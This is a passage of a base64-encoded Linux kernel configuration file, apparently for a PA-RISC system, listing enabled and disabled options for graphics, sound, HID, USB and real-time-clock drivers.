RVRVIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9BUzM3MTEgaXMgbm90IHNldA0KIyBDT05GSUdf
UkVHVUxBVE9SIGlzIG5vdCBzZXQNCiMgQ09ORklHX01FRElBX1NVUFBPUlQgaXMgbm90IHNldA0K
DQojDQojIEdyYXBoaWNzIHN1cHBvcnQNCiMNCkNPTkZJR19BR1A9bQ0KQ09ORklHX0FHUF9QQVJJ
U0M9bQ0KQ09ORklHX1ZHQV9BUkI9eQ0KQ09ORklHX1ZHQV9BUkJfTUFYX0dQVVM9MTYNCiMgQ09O
RklHX0RSTSBpcyBub3Qgc2V0DQojIENPTkZJR19WR0FTVEFURSBpcyBub3Qgc2V0DQojIENPTkZJ
R19WSURFT19PVVRQVVRfQ09OVFJPTCBpcyBub3Qgc2V0DQpDT05GSUdfRkI9bQ0KIyBDT05GSUdf
RklSTVdBUkVfRURJRCBpcyBub3Qgc2V0DQpDT05GSUdfRkJfRERDPW0NCiMgQ09ORklHX0ZCX0JP
T1RfVkVTQV9TVVBQT1JUIGlzIG5vdCBzZXQNCkNPTkZJR19GQl9DRkJfRklMTFJFQ1Q9bQ0KQ09O
RklHX0ZCX0NGQl9DT1BZQVJFQT1tDQpDT05GSUdfRkJfQ0ZCX0lNQUdFQkxJVD1tDQojIENPTkZJ
R19GQl9DRkJfUkVWX1BJWEVMU19JTl9CWVRFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1NZU19G
SUxMUkVDVCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TWVNfQ09QWUFSRUEgaXMgbm90IHNldA0K
IyBDT05GSUdfRkJfU1lTX0lNQUdFQkxJVCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9GT1JFSUdO
X0VORElBTiBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TWVNfRk9QUyBpcyBub3Qgc2V0DQojIENP
TkZJR19GQl9XTVRfR0VfUk9QUyBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TVkdBTElCIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0ZCX01BQ01PREVTIGlzIG5vdCBzZXQNCkNPTkZJR19GQl9CQUNLTElH
SFQ9eQ0KQ09ORklHX0ZCX01PREVfSEVMUEVSUz15DQpDT05GSUdfRkJfVElMRUJMSVRUSU5HPXkN
Cg0KIw0KIyBGcmFtZSBidWZmZXIgaGFyZHdhcmUgZHJpdmVycw0KIw0KIyBDT05GSUdfRkJfQ0lS
UlVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1BNMiBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9D
WUJFUjIwMDAgaXMgbm90IHNldA0KQ09ORklHX0ZCX1NUST1tDQojIENPTkZJR19GQl9TMUQxM1hY
WCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9OVklESUEgaXMgbm90IHNldA0KIyBDT05GSUdfRkJf
UklWQSBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9JNzQwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZC
X01BVFJPWCBpcyBub3Qgc2V0DQpDT05GSUdfRkJfUkFERU9OPW0NCkNPTkZJR19GQl9SQURFT05f
STJDPXkNCkNPTkZJR19GQl9SQURFT05fQkFDS0xJR0hUPXkNCiMgQ09ORklHX0ZCX1JBREVPTl9E
RUJVRyBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9BVFkxMjggaXMgbm90IHNldA0KIyBDT05GSUdf
RkJfQVRZIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1MzIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZC
X1NBVkFHRSBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9TSVMgaXMgbm90IHNldA0KIyBDT05GSUdf
RkJfTkVPTUFHSUMgaXMgbm90IHNldA0KIyBDT05GSUdfRkJfS1lSTyBpcyBub3Qgc2V0DQojIENP
TkZJR19GQl8zREZYIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1ZPT0RPTzEgaXMgbm90IHNldA0K
IyBDT05GSUdfRkJfVlQ4NjIzIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1RSSURFTlQgaXMgbm90
IHNldA0KIyBDT05GSUdfRkJfQVJLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1BNMyBpcyBub3Qg
c2V0DQojIENPTkZJR19GQl9DQVJNSU5FIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1NNU0NVRlgg
aXMgbm90IHNldA0KIyBDT05GSUdfRkJfVURMIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0dPTERG
SVNIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1ZJUlRVQUwgaXMgbm90IHNldA0KIyBDT05GSUdf
RkJfTUVUUk9OT01FIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX01CODYyWFggaXMgbm90IHNldA0K
IyBDT05GSUdfRkJfQlJPQURTSEVFVCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9BVU9fSzE5MFgg
aXMgbm90IHNldA0KIyBDT05GSUdfRVhZTk9TX1ZJREVPIGlzIG5vdCBzZXQNCkNPTkZJR19CQUNL
TElHSFRfTENEX1NVUFBPUlQ9eQ0KQ09ORklHX0xDRF9DTEFTU19ERVZJQ0U9bQ0KIyBDT05GSUdf
TENEX1BMQVRGT1JNIGlzIG5vdCBzZXQNCkNPTkZJR19CQUNLTElHSFRfQ0xBU1NfREVWSUNFPXkN
CkNPTkZJR19CQUNLTElHSFRfR0VORVJJQz15DQojIENPTkZJR19CQUNLTElHSFRfQURQODg2MCBp
cyBub3Qgc2V0DQojIENPTkZJR19CQUNLTElHSFRfQURQODg3MCBpcyBub3Qgc2V0DQojIENPTkZJ
R19CQUNLTElHSFRfTE0zNjMwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JBQ0tMSUdIVF9MTTM2Mzkg
aXMgbm90IHNldA0KIyBDT05GSUdfQkFDS0xJR0hUX0xQODU1WCBpcyBub3Qgc2V0DQoNCiMNCiMg
Q29uc29sZSBkaXNwbGF5IGRyaXZlciBzdXBwb3J0DQojDQpDT05GSUdfRFVNTVlfQ09OU09MRT15
DQpDT05GSUdfRFVNTVlfQ09OU09MRV9DT0xVTU5TPTE2MA0KQ09ORklHX0RVTU1ZX0NPTlNPTEVf
Uk9XUz02NA0KQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEU9bQ0KIyBDT05GSUdfRlJBTUVCVUZG
RVJfQ09OU09MRV9ERVRFQ1RfUFJJTUFSWSBpcyBub3Qgc2V0DQojIENPTkZJR19GUkFNRUJVRkZF
Ul9DT05TT0xFX1JPVEFUSU9OIGlzIG5vdCBzZXQNCkNPTkZJR19TVElfQ09OU09MRT15DQojIENP
TkZJR19GT05UUyBpcyBub3Qgc2V0DQpDT05GSUdfRk9OVF84eDg9eQ0KQ09ORklHX0ZPTlRfOHgx
Nj15DQpDT05GSUdfTE9HTz15DQpDT05GSUdfTE9HT19MSU5VWF9NT05PPXkNCkNPTkZJR19MT0dP
X0xJTlVYX1ZHQTE2PXkNCkNPTkZJR19MT0dPX0xJTlVYX0NMVVQyMjQ9eQ0KQ09ORklHX0xPR09f
UEFSSVNDX0NMVVQyMjQ9eQ0KQ09ORklHX1NPVU5EPW0NCiMgQ09ORklHX1NPVU5EX09TU19DT1JF
IGlzIG5vdCBzZXQNCkNPTkZJR19TTkQ9bQ0KQ09ORklHX1NORF9USU1FUj1tDQpDT05GSUdfU05E
X1BDTT1tDQojIENPTkZJR19TTkRfU0VRVUVOQ0VSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9N
SVhFUl9PU1MgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1BDTV9PU1MgaXMgbm90IHNldA0KIyBD
T05GSUdfU05EX0RZTkFNSUNfTUlOT1JTIGlzIG5vdCBzZXQNCkNPTkZJR19TTkRfU1VQUE9SVF9P
TERfQVBJPXkNCkNPTkZJR19TTkRfVkVSQk9TRV9QUk9DRlM9eQ0KIyBDT05GSUdfU05EX1ZFUkJP
U0VfUFJJTlRLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9ERUJVRyBpcyBub3Qgc2V0DQpDT05G
SUdfU05EX1ZNQVNURVI9eQ0KIyBDT05GSUdfU05EX1JBV01JRElfU0VRIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NORF9PUEwzX0xJQl9TRVEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX09QTDRfTElC
X1NFUSBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfU0JBV0VfU0VRIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NORF9FTVUxMEsxX1NFUSBpcyBub3Qgc2V0DQpDT05GSUdfU05EX0FDOTdfQ09ERUM9bQ0K
Q09ORklHX1NORF9EUklWRVJTPXkNCiMgQ09ORklHX1NORF9EVU1NWSBpcyBub3Qgc2V0DQojIENP
TkZJR19TTkRfQUxPT1AgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01UUEFWIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NORF9TRVJJQUxfVTE2NTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9NUFU0
MDEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0FDOTdfUE9XRVJfU0FWRSBpcyBub3Qgc2V0DQpD
T05GSUdfU05EX1BDST15DQpDT05GSUdfU05EX0FEMTg4OT1tDQojIENPTkZJR19TTkRfQUxTMzAw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9BTEk1NDUxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9BVElJWFAgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0FUSUlYUF9NT0RFTSBpcyBub3Qgc2V0
DQojIENPTkZJR19TTkRfQVU4ODEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9BVTg4MjAgaXMg
bm90IHNldA0KIyBDT05GSUdfU05EX0FVODgzMCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfQVcy
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9BWlQzMzI4IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9CVDg3WCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfQ0EwMTA2IGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NORF9DTUlQQ0kgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX09YWUdFTiBpcyBub3Qgc2V0
DQojIENPTkZJR19TTkRfQ1M0MjgxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9DUzQ2WFggaXMg
bm90IHNldA0KIyBDT05GSUdfU05EX0NTNTUzNUFVRElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9DVFhGSSBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfREFSTEEyMCBpcyBub3Qgc2V0DQojIENP
TkZJR19TTkRfR0lOQTIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9MQVlMQTIwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NORF9EQVJMQTI0IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9HSU5BMjQg
aXMgbm90IHNldA0KIyBDT05GSUdfU05EX0xBWUxBMjQgaXMgbm90IHNldA0KIyBDT05GSUdfU05E
X01PTkEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01JQSBpcyBub3Qgc2V0DQojIENPTkZJR19T
TkRfRUNITzNHIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9JTkRJR08gaXMgbm90IHNldA0KIyBD
T05GSUdfU05EX0lORElHT0lPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9JTkRJR09ESiBpcyBu
b3Qgc2V0DQojIENPTkZJR19TTkRfSU5ESUdPSU9YIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9J
TkRJR09ESlggaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0VNVTEwSzEgaXMgbm90IHNldA0KIyBD
T05GSUdfU05EX0VNVTEwSzFYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9FTlMxMzcwIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NORF9FTlMxMzcxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9FUzE5
MzggaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0VTMTk2OCBpcyBub3Qgc2V0DQojIENPTkZJR19T
TkRfRk04MDEgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0hEQV9JTlRFTCBpcyBub3Qgc2V0DQoj
IENPTkZJR19TTkRfSERTUCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfSERTUE0gaXMgbm90IHNl
dA0KIyBDT05GSUdfU05EX0lDRTE3MTIgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0lDRTE3MjQg
aXMgbm90IHNldA0KIyBDT05GSUdfU05EX0lOVEVMOFgwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NO
RF9JTlRFTDhYME0gaXMgbm90IHNldA0KIyBDT05GSUdfU05EX0tPUkcxMjEyIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NORF9MT0xBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9MWDY0NjRFUyBpcyBu
b3Qgc2V0DQojIENPTkZJR19TTkRfTUFFU1RSTzMgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX01J
WEFSVCBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfTk0yNTYgaXMgbm90IHNldA0KIyBDT05GSUdf
U05EX1BDWEhSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9SSVBUSURFIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NORF9STUUzMiBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfUk1FOTYgaXMgbm90IHNl
dA0KIyBDT05GSUdfU05EX1JNRTk2NTIgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1NPTklDVklC
RVMgaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1RSSURFTlQgaXMgbm90IHNldA0KIyBDT05GSUdf
U05EX1ZJQTgyWFggaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1ZJQTgyWFhfTU9ERU0gaXMgbm90
IHNldA0KIyBDT05GSUdfU05EX1ZJUlRVT1NPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NORF9WWDIy
MiBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfWU1GUENJIGlzIG5vdCBzZXQNCkNPTkZJR19TTkRf
VVNCPXkNCiMgQ09ORklHX1NORF9VU0JfQVVESU8gaXMgbm90IHNldA0KIyBDT05GSUdfU05EX1VT
Ql9VQTEwMSBpcyBub3Qgc2V0DQojIENPTkZJR19TTkRfVVNCX0NBSUFRIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NORF9VU0JfNkZJUkUgaXMgbm90IHNldA0KQ09ORklHX1NORF9HU0M9eQ0KQ09ORklH
X1NORF9IQVJNT05ZPW0NCiMgQ09ORklHX1NORF9TT0MgaXMgbm90IHNldA0KIyBDT05GSUdfU09V
TkRfUFJJTUUgaXMgbm90IHNldA0KQ09ORklHX0FDOTdfQlVTPW0NCg0KIw0KIyBISUQgc3VwcG9y
dA0KIw0KQ09ORklHX0hJRD15DQojIENPTkZJR19ISURSQVcgaXMgbm90IHNldA0KIyBDT05GSUdf
VUhJRCBpcyBub3Qgc2V0DQpDT05GSUdfSElEX0dFTkVSSUM9eQ0KDQojDQojIFNwZWNpYWwgSElE
IGRyaXZlcnMNCiMNCkNPTkZJR19ISURfQTRURUNIPXkNCiMgQ09ORklHX0hJRF9BQ1JVWCBpcyBu
b3Qgc2V0DQpDT05GSUdfSElEX0FQUExFPXkNCiMgQ09ORklHX0hJRF9BVVJFQUwgaXMgbm90IHNl
dA0KQ09ORklHX0hJRF9CRUxLSU49eQ0KQ09ORklHX0hJRF9DSEVSUlk9eQ0KQ09ORklHX0hJRF9D
SElDT05ZPXkNCiMgQ09ORklHX0hJRF9QUk9ESUtFWVMgaXMgbm90IHNldA0KQ09ORklHX0hJRF9D
WVBSRVNTPXkNCkNPTkZJR19ISURfRFJBR09OUklTRT15DQojIENPTkZJR19EUkFHT05SSVNFX0ZG
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9FTVNfRkYgaXMgbm90IHNldA0KQ09ORklHX0hJRF9F
WktFWT15DQojIENPTkZJR19ISURfSE9MVEVLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hJRF9LRVlU
T1VDSCBpcyBub3Qgc2V0DQpDT05GSUdfSElEX0tZRT15DQojIENPTkZJR19ISURfVUNMT0dJQyBp
cyBub3Qgc2V0DQojIENPTkZJR19ISURfV0FMVE9QIGlzIG5vdCBzZXQNCkNPTkZJR19ISURfR1lS
QVRJT049eQ0KQ09ORklHX0hJRF9UV0lOSEFOPXkNCkNPTkZJR19ISURfS0VOU0lOR1RPTj15DQoj
IENPTkZJR19ISURfTENQT1dFUiBpcyBub3Qgc2V0DQojIENPTkZJR19ISURfTEVOT1ZPX1RQS0JE
IGlzIG5vdCBzZXQNCkNPTkZJR19ISURfTE9HSVRFQ0g9eQ0KQ09ORklHX0hJRF9MT0dJVEVDSF9E
Sj1tDQojIENPTkZJR19MT0dJVEVDSF9GRiBpcyBub3Qgc2V0DQojIENPTkZJR19MT0dJUlVNQkxF
UEFEMl9GRiBpcyBub3Qgc2V0DQojIENPTkZJR19MT0dJRzk0MF9GRiBpcyBub3Qgc2V0DQojIENP
TkZJR19MT0dJV0hFRUxTX0ZGIGlzIG5vdCBzZXQNCkNPTkZJR19ISURfTUlDUk9TT0ZUPXkNCkNP
TkZJR19ISURfTU9OVEVSRVk9eQ0KIyBDT05GSUdfSElEX01VTFRJVE9VQ0ggaXMgbm90IHNldA0K
Q09ORklHX0hJRF9OVFJJRz15DQojIENPTkZJR19ISURfT1JURUsgaXMgbm90IHNldA0KQ09ORklH
X0hJRF9QQU5USEVSTE9SRD15DQojIENPTkZJR19QQU5USEVSTE9SRF9GRiBpcyBub3Qgc2V0DQpD
T05GSUdfSElEX1BFVEFMWU5YPXkNCiMgQ09ORklHX0hJRF9QSUNPTENEIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0hJRF9QUklNQVggaXMgbm90IHNldA0KIyBDT05GSUdfSElEX1JPQ0NBVCBpcyBub3Qg
c2V0DQojIENPTkZJR19ISURfU0FJVEVLIGlzIG5vdCBzZXQNCkNPTkZJR19ISURfU0FNU1VORz15
DQpDT05GSUdfSElEX1NPTlk9eQ0KIyBDT05GSUdfSElEX1NQRUVETElOSyBpcyBub3Qgc2V0DQoj
IENPTkZJR19ISURfU1RFRUxTRVJJRVMgaXMgbm90IHNldA0KQ09ORklHX0hJRF9TVU5QTFVTPXkN
CkNPTkZJR19ISURfR1JFRU5BU0lBPXkNCiMgQ09ORklHX0dSRUVOQVNJQV9GRiBpcyBub3Qgc2V0
DQpDT05GSUdfSElEX1NNQVJUSk9ZUExVUz15DQojIENPTkZJR19TTUFSVEpPWVBMVVNfRkYgaXMg
bm90IHNldA0KIyBDT05GSUdfSElEX1RJVk8gaXMgbm90IHNldA0KQ09ORklHX0hJRF9UT1BTRUVE
PXkNCkNPTkZJR19ISURfVEhSVVNUTUFTVEVSPXkNCiMgQ09ORklHX1RIUlVTVE1BU1RFUl9GRiBp
cyBub3Qgc2V0DQpDT05GSUdfSElEX1pFUk9QTFVTPXkNCiMgQ09ORklHX1pFUk9QTFVTX0ZGIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0hJRF9aWURBQ1JPTiBpcyBub3Qgc2V0DQojIENPTkZJR19ISURf
U0VOU09SX0hVQiBpcyBub3Qgc2V0DQoNCiMNCiMgVVNCIEhJRCBzdXBwb3J0DQojDQpDT05GSUdf
VVNCX0hJRD15DQojIENPTkZJR19ISURfUElEIGlzIG5vdCBzZXQNCkNPTkZJR19VU0JfSElEREVW
PXkNCg0KIw0KIyBJMkMgSElEIHN1cHBvcnQNCiMNCiMgQ09ORklHX0kyQ19ISUQgaXMgbm90IHNl
dA0KQ09ORklHX1VTQl9BUkNIX0hBU19PSENJPXkNCkNPTkZJR19VU0JfQVJDSF9IQVNfRUhDST15
DQpDT05GSUdfVVNCX0FSQ0hfSEFTX1hIQ0k9eQ0KQ09ORklHX1VTQl9TVVBQT1JUPXkNCkNPTkZJ
R19VU0JfQ09NTU9OPXkNCkNPTkZJR19VU0JfQVJDSF9IQVNfSENEPXkNCkNPTkZJR19VU0I9eQ0K
Q09ORklHX1VTQl9ERUJVRz15DQojIENPTkZJR19VU0JfQU5OT1VOQ0VfTkVXX0RFVklDRVMgaXMg
bm90IHNldA0KDQojDQojIE1pc2NlbGxhbmVvdXMgVVNCIG9wdGlvbnMNCiMNCiMgQ09ORklHX1VT
Ql9EWU5BTUlDX01JTk9SUyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfRFdDMyBpcyBub3Qgc2V0
DQpDT05GSUdfVVNCX01PTj1tDQojIENPTkZJR19VU0JfV1VTQl9DQkFGIGlzIG5vdCBzZXQNCg0K
Iw0KIyBVU0IgSG9zdCBDb250cm9sbGVyIERyaXZlcnMNCiMNCiMgQ09ORklHX1VTQl9DNjdYMDBf
SENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9YSENJX0hDRCBpcyBub3Qgc2V0DQpDT05GSUdf
VVNCX0VIQ0lfSENEPXkNCiMgQ09ORklHX1VTQl9FSENJX1JPT1RfSFVCX1RUIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1VTQl9FSENJX1RUX05FV1NDSEVEIGlzIG5vdCBzZXQNCkNPTkZJR19VU0JfRUhD
SV9QQ0k9eQ0KIyBDT05GSUdfVVNCX09YVTIxMEhQX0hDRCBpcyBub3Qgc2V0DQojIENPTkZJR19V
U0JfSVNQMTE2WF9IQ0QgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0lTUDE3NjBfSENEIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9JU1AxMzYyX0hDRCBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX09I
Q0lfSENEPXkNCiMgQ09ORklHX1VTQl9PSENJX0hDRF9QTEFURk9STSBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfRUhDSV9IQ0RfUExBVEZPUk0gaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX09IQ0lf
QklHX0VORElBTl9ERVNDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9PSENJX0JJR19FTkRJQU5f
TU1JTyBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX09IQ0lfTElUVExFX0VORElBTj15DQojIENPTkZJ
R19VU0JfVUhDSV9IQ0QgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NMODExX0hDRCBpcyBub3Qg
c2V0DQojIENPTkZJR19VU0JfUjhBNjY1OTdfSENEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9I
Q0RfU1NCIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9DSElQSURFQSBpcyBub3Qgc2V0DQoNCiMN
CiMgVVNCIERldmljZSBDbGFzcyBkcml2ZXJzDQojDQojIENPTkZJR19VU0JfQUNNIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1VTQl9QUklOVEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9XRE0gaXMg
bm90IHNldA0KIyBDT05GSUdfVVNCX1RNQyBpcyBub3Qgc2V0DQoNCiMNCiMgTk9URTogVVNCX1NU
T1JBR0UgZGVwZW5kcyBvbiBTQ1NJIGJ1dCBCTEtfREVWX1NEIG1heQ0KIw0KDQojDQojIGFsc28g
YmUgbmVlZGVkOyBzZWUgVVNCX1NUT1JBR0UgSGVscCBmb3IgbW9yZSBpbmZvDQojDQpDT05GSUdf
VVNCX1NUT1JBR0U9bQ0KQ09ORklHX1VTQl9TVE9SQUdFX0RFQlVHPXkNCiMgQ09ORklHX1VTQl9T
VE9SQUdFX1JFQUxURUsgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NUT1JBR0VfREFUQUZBQiBp
cyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9GUkVFQ09NIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VTQl9TVE9SQUdFX0lTRDIwMCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9V
U0JBVCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9TRERSMDkgaXMgbm90IHNldA0K
IyBDT05GSUdfVVNCX1NUT1JBR0VfU0REUjU1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9S
QUdFX0pVTVBTSE9UIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0FMQVVEQSBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9PTkVUT1VDSCBpcyBub3Qgc2V0DQojIENPTkZJ
R19VU0JfU1RPUkFHRV9LQVJNQSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9DWVBS
RVNTX0FUQUNCIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0VORV9VQjYyNTAgaXMg
bm90IHNldA0KDQojDQojIFVTQiBJbWFnaW5nIGRldmljZXMNCiMNCiMgQ09ORklHX1VTQl9NREM4
MDAgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX01JQ1JPVEVLIGlzIG5vdCBzZXQNCg0KIw0KIyBV
U0IgcG9ydCBkcml2ZXJzDQojDQojIENPTkZJR19VU0JfU0VSSUFMIGlzIG5vdCBzZXQNCg0KIw0K
IyBVU0IgTWlzY2VsbGFuZW91cyBkcml2ZXJzDQojDQojIENPTkZJR19VU0JfRU1JNjIgaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX0VNSTI2IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9BRFVUVVgg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFVlNFRyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0Jf
UklPNTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9MRUdPVE9XRVIgaXMgbm90IHNldA0KIyBD
T05GSUdfVVNCX0xDRCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfTEVEIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1VTQl9DWVBSRVNTX0NZN0M2MyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfQ1lUSEVS
TSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfSURNT1VTRSBpcyBub3Qgc2V0DQojIENPTkZJR19V
U0JfRlRESV9FTEFOIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9BUFBMRURJU1BMQVkgaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX1NJU1VTQlZHQSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfTEQg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1RSQU5DRVZJQlJBVE9SIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VTQl9JT1dBUlJJT1IgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1RFU1QgaXMgbm90IHNl
dA0KIyBDT05GSUdfVVNCX0lTSUdIVEZXIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9ZVVJFWCBp
cyBub3Qgc2V0DQojIENPTkZJR19VU0JfRVpVU0JfRlgyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9IU0lDX1VTQjM1MDMgaXMgbm90IHNldA0KDQojDQojIFVTQiBQaHlzaWNhbCBMYXllciBkcml2
ZXJzDQojDQojIENPTkZJR19PTUFQX1VTQjMgaXMgbm90IHNldA0KIyBDT05GSUdfT01BUF9DT05U
Uk9MX1VTQiBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfSVNQMTMwMSBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfUkNBUl9QSFkgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qg
c2V0DQoNCiMNCiMgT1RHIGFuZCByZWxhdGVkIGluZnJhc3RydWN0dXJlDQojDQojIENPTkZJR19O
T1BfVVNCX1hDRUlWIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VXQiBpcyBub3Qgc2V0DQojIENPTkZJ
R19NTUMgaXMgbm90IHNldA0KIyBDT05GSUdfTUVNU1RJQ0sgaXMgbm90IHNldA0KIyBDT05GSUdf
TkVXX0xFRFMgaXMgbm90IHNldA0KIyBDT05GSUdfQUNDRVNTSUJJTElUWSBpcyBub3Qgc2V0DQoj
IENPTkZJR19JTkZJTklCQU5EIGlzIG5vdCBzZXQNCkNPTkZJR19SVENfTElCPXkNCkNPTkZJR19S
VENfQ0xBU1M9eQ0KQ09ORklHX1JUQ19IQ1RPU1lTPXkNCkNPTkZJR19SVENfU1lTVE9IQz15DQpD
T05GSUdfUlRDX0hDVE9TWVNfREVWSUNFPSJydGMwIg0KIyBDT05GSUdfUlRDX0RFQlVHIGlzIG5v
dCBzZXQNCg0KIw0KIyBSVEMgaW50ZXJmYWNlcw0KIw0KQ09ORklHX1JUQ19JTlRGX1NZU0ZTPXkN
CkNPTkZJR19SVENfSU5URl9QUk9DPXkNCkNPTkZJR19SVENfSU5URl9ERVY9eQ0KIyBDT05GSUdf
